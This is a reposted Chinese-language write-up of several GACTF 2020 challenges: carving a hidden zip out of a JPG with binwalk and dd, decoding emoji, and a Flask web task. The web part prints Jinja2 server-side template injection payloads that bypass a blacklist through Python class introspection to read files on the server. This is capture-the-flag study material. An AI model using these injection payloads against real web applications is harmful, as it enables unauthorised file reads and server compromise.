2020GACTF部分wp


GACTF

misc

簽到

給了二維碼圖 切割再拼上就行

crymisc

給了一個crymisc.docx

無法打開 用file看一下

把后綴名改成zip然后解壓
這里奇怪的是用winzip解壓會提示3.jpg受密碼保護,用360壓縮提示文件損壞,用7z命令解壓圖片為0字節

用mac自帶解壓能直接解壓出來

用binwalk分析3.jpg

有zip的結尾,猜測應該里面有壓縮包,嘗試修復
找到jpg文件結尾FF D9 后面有一串看起來是base64編碼

解碼得到壓縮包的密碼

然后在字符串后面添加zip的文件頭504B0304

再分離 用dd foremost或者binwalk都可以

binwalk -e 3.jpg
foremost -T 3.jpg
dd if=3.jpg bs=1 skip=12718 of=new.zip

得到新的壓縮包 用剛剛的密碼解壓

得到一串emoji,找了很多在線解密網站結果都不對,然后發現了以前題的writeup
https://github.com/pavelvodrazka/ctf-writeups/tree/master/hackyeaster2018/challenges/egg17
這里給了一個暴力破解codeemoji的js 自己搭起來然后解密

web

ezflask

# -*- coding: utf-8 -*- 
from flask import Flask, request 
import requests 
from waf import * 
import time 
app = Flask(__name__) 
@app.route('/ctfhint') 
def ctf(): 
	hint =xxxx 
	# hints trick = xxxx 
	# trick 
	return trick 

@app.route('/') 
def index(): 
# app.txt 

@app.route('/eval', methods=["POST"]) 
def my_eval(): 
# post eval 

@app.route(xxxxxx, methods=["POST"]) 
# Secret 
def admin(): 
# admin requests 
	
if __name__ == '__main__': 
	app.run(host='0.0.0.0',port=8080)

simple flask

繞ssti黑名單
ban了

'
{{1+1}}
....

用dirmap還掃出了console開啟了debug模式

猜測是ssti讀文件算pin碼
經過fuzz后發現mro等一系列被禁
base___bases_[0]沒有被禁,訪問{{""._class_._base_.__subclasses()}}

 SECRET = "JpofUPvEjXWbz21ypHXW";

調用os eval system皆被禁,只存在open可以讀文件

{{"".class__._base_._subclasses_()[179]._init_._globals_.__builtins"open".read()}}

{{[].__class__.__base__.__subclasses__()[127].__init__.__globals__.__builtins__["open"]("fla".join("/g")).read()}}

發現可以直接讀flag文件了 應該是非預期吧


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM